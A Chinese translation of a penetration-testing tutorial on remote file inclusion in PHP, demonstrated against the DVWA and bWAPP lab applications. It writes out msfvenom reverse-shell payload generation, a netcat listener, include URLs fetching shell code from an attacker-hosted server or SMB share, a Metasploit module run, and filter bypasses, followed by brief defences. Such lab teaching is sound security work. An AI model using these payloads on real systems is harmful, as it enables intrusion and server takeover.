0x00 引言
前一篇文章我们分享了关于文件包含的基本原理以及本地文件包含(LFI)漏洞的相关原理和利用方式,具体参考。本文我们将深入了解有关远程文件包含(RFI)的相关知识。
概要
- RFI何方神圣
- RFI出现的缘由
- RFI利用方式
- 基本的RFI
- 借助Netcat(俗称瑞士军刀nc)反弹shell
- 通过Metasploit进行RFI
- 黑名单绕过
- 空字节攻击
- 借助SMB服务器的利用方式
- 防御
0x01 RFI何方神圣
顾名思义,远程文件包含是文件包含漏洞的其中一种。这种漏洞在文件的URI位于其他服务器上并作为参数传递给PHP函数“include”,“include_once”,“require”,或“require_once”的情况下可能会出现。
远程文件包含漏洞是容易利用的。因此,相较而言,攻击者只需要将托管在远程Web应用程序上的恶意PHP脚本注入未经过滤的Web应用程序的URL中,就可能导致灾难性的结果,例如:
- 允许攻击者以[RCE]的身份在Web服务器上远程执行命令;
- 提供对服务器的完全访问权限;
- 污损网络的某些部分,甚至窃取机密信息;
- 实施跨站脚本(XSS)的客户端攻击。
因此,在以下情况下,远程文件包含漏洞被报告为“高危”,并且CVSS得分为“ 9.8”:
- CWE-98:对PHP程序中的Include/Require语句的文件名控制不当。
- CWE-20:不恰当的输入验证
- CWE-200:向未经授权的访问者公开敏感信息
0x02 RFI出现的缘由
与“本地文件包含”类似,远程文件包含漏洞也是由于对PHP服务端代码中输入参数的过滤或验证不当而产生。
例如下面的代码段,它使Web应用程序遭受RFI漏洞的影响,因为开发人员只能对“$file”变量进行Get方法传参,并且没有对输入进行任何验证。
但是只有当开发人员启用了一些不安全的PHP设置(“allow_url_include = On”和“allow_url_fopen = On”),此逻辑错误才满足RFI漏洞的要求,因此,开发人员的逻辑和不安全设置这两者结合起来,就可以打开RFI漏洞的大门。
0x03 基本的远程文件包含
到此为止,您应该对什么是远程文件包含以及其发生原因有了清晰的认识。因此,我们尝试更深入地研究和破坏一些Web应用程序,以实现反弹shell。
我们在浏览器中打开目标IP,并以admin:password登陆DVWA,此外,选择窗口左侧的“File Inclusion vulnerability”。并且为了方便演示,我们依然将安全级别设置为“low”。
注:默认情况下,allow_url_include是禁用的。如果禁用allow_url_fopen,则allow_url_include也被禁用
您可以通过运行以下命令从php.ini中启用allow_url_include:
nano /etc/php/7.2/apache2/php.ini
allow_url_include = On
allow_url_include = Off
因此,现在我们将看到一个网页,该网页存在文件包含漏洞,因为它只是将include.php文件包含在其URL参数中,如下所示:
“page=include.php”
让我们尝试控制此URL参数,并通过以下DVWA应用程序访问google.com:
192.168.0.2/DVWA/vulnerabilities/fi/?page=https://www.google.com
Nice!上图表明此应用程序受到了RFI漏洞的攻击。
0x04 借助Netcat反弹shell
我们可以将这种基本的RFI利用转换为反弹shell,让我们看看如何做:
首先,我们用一句话生成payload:
msfvenom -p php/reverse_php lport=4444 lhost=192.168.0.5 > /root/Desktop/shell.php
然后让我们托管此目录,以便我们可以在URL参数中使用它。
python –m SimpleHTTPServer
在下图中,您可以看到Desktop文件夹已通过端口8000上的HTTP服务器托管。
现在,让我们在端口4444上启动Netcat侦听器
nc –lvp 4444
在netcat开始监听之前,我们将shell包含在易受攻击的URL参数中:
192.168.0.2/DVWA/vulnerabilities/fi/?page=http://192.168.0.5:8000/shell.php
单击转到按钮并返回查看我们的netcat侦听器,稍等片刻,我们就成功拿到了反弹shell。现在我们获取一些关键的身份信息。
0x05 通过Metasploit实现RFI
Netcat程序不是很长而且不够复杂,只是为了获得反弹shell。
因此,让我们做一些聪明的工作,打开每一个pentester最喜欢的工具之一,即“Metasploit”。
但是在利用任何漏洞之前,让我们捕获确认存在RFI的URL的HTTP头,即“page=https://www.google.com”,然后进一步复制登录的PHP会话ID以及所有安全信息。
接着就是完全控制Web应用程序服务器的时候了,只需执行以下命令,您就可以开始执行以下操作:
msf > use exploit/unix/webapp/php_include
set payload php/meterpreter/bind_tcp
set RHOST 192.168.0.2
set PATH /DVWA/vulnerabilities/fi/
set HEADERS " Cookie: security=low; PHPSESSID=4536da6h54ski6ftv09gdq35ik"
exploit
通过一些基本的执行,我们获得了meterpreter会话。
0x06 绕过黑名单
并非每次都能遇上开发人员没有进行任何验证即可设置代码,他们可能会设置一些黑名单,这些黑名单的常用元素为“http:”或“https:”,或者与它们类似的其他元素,以便保护他们的Web应用程序。
因此,要绕过这个黑名单,我们需要尝试开发人员可能忘记添加的所有不同组合,例如“HTTP:”或“hTTp:”。
我将安全级别提高到“medium”,并尝试了所有不同的组合。从下面的图片中您可以看到“HTTPS”对我有用,因此可以再次利用RFI漏洞。
0x07 空字节攻击
开发人员永远都不会忘记,在将必需变量的末尾添加“.php”扩展名到他们的代码中,然后再将其包括在内。也就是说,服务器将解释每个扩展名为“.php”的文件。
因此,如果我希望在URL参数中包含“tryme.txt”,则服务器会将其解释为“tryme.txt.php”。并返回错误消息。
那么,当开发人员采取这种措施后,我们该怎么办?
答案是进行零字节攻击,使用问号[?]字符,这将消除“.php”问题,迫使php服务器在解释后立即忽略所有内容。
192.168.0.3/bWAPP/rlfi.php?language=http://192.168.0.5:8000/tryme.txt?
0x08 借助SMB服务器利用RFI
如前所述,除非开发人员在php.ini文件中启用“allow_url_include”或“allow_url_fopen”,否则RFI漏洞将是不可能的。
但是,如果开发人员未启用该功能,并且在不包含任何远程服务器中任何特定文件的情况下,以尽可能简单的方式运行其Web应用程序,该怎么办?它仍然会受到RFI的攻击吗?
答案是“是”,即使“allow_url_include”或“allow_url_fopen”设置为“off”,也可以通过SMB服务器利用RFI漏洞。
当PHP中的“allow_url_include”设置为“off”时,它不会加载任何远程HTTP或FTP URL来防止远程文件包含攻击,但是此“allow_url_include”却不会阻止加载SMB URL。
想知道如何抓住这一切?让我们在本节中对其进行利用。现在,我已经在Windows计算机上配置了易受攻击的bWAPP应用程序。
首先,我通过禁止C:\xampp\php\的“php.ini”文件中的“allow_url_include”和“allow_url_fopen”包装程序重新配置了PHP服务器。
现在,为了在我的Kali机器上激活SMB服务,我使用了impacket工具包,该工具包通过以下简单的方法设置所有内容:
python smbshare.py –smb2support sharepath /root/Desktop/Shells
当我们对Windows 10计算机执行攻击时,在这里我使用了“smb2support”,并将共享目录进一步设置为/root/ Desktop/Shells/。您可以从此处了解有关Impacket的更多信息。
在下图中,您可以看到我们的目录已通过SMB服务器成功共享,没有任何特定的凭据。
为了确保相同,让我们在任何Windows机器上的“运行对话框”中将其全部检查为
\\\\192.168.0.8\\sharepath\\
我们的SMB服务器运行正常,我们可以访问其共享文件。
因此,让我们回到我们的Kali机器上,检查PHP代码是否允许包含任何远程文件。从下图可以看到,当我尝试基本的RFI攻击时,allow_url_include = 0的错误消息为“https://wrapper is disabled”;因此,这证明PHP代码正在阻止从任何远程服务器包含的文件。
因此,现在该用我们的SMB共享链接绕过“allow_url_include”包装了,以破坏此网络应用程序:
192.168.0.3/bWAPP/rlfi.php?language=\\192.168.0.8\sharepath\shell.txt
从下图可以看到,我们的shell已成功包含在此易受攻击的Web应用程序中,并且向我们提供了其中的内容。
0x09 防御措施
- 为了防止Web应用程序受到文件包含攻击,我们需要使用强输入验证。我们应该将输入参数限制为接受可接受文件的白名单,并拒绝所有严格不符合规范的其他输入。
始终力求最好地对用户提供的/受控的输入进行过滤。这些输入是:GET/POST参数
-
在可用的最新版本的PHP服务器中开发或运行代码。 甚至配置PHP应用程序,使其不使用register_globals。
-
在服务器端,通过禁止http URI的远程文件include来配置ini配置文件,这限制了从远程位置包含文件的能力,即通过使用以下命令更改配置文件:
```
nano /etc/php/7.2/apache2/php.ini
"allow_url_fopen = OFF"
"allow_url_include = OFF"
sudo service apache2 restart
```
==本文译自:https://www.hackingarticles.in/comprehensive-guide-on-remote-file-inclusion-rfi/
原作者:Chiragh Arora
致敬所有对本文创作有贡献的人==
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论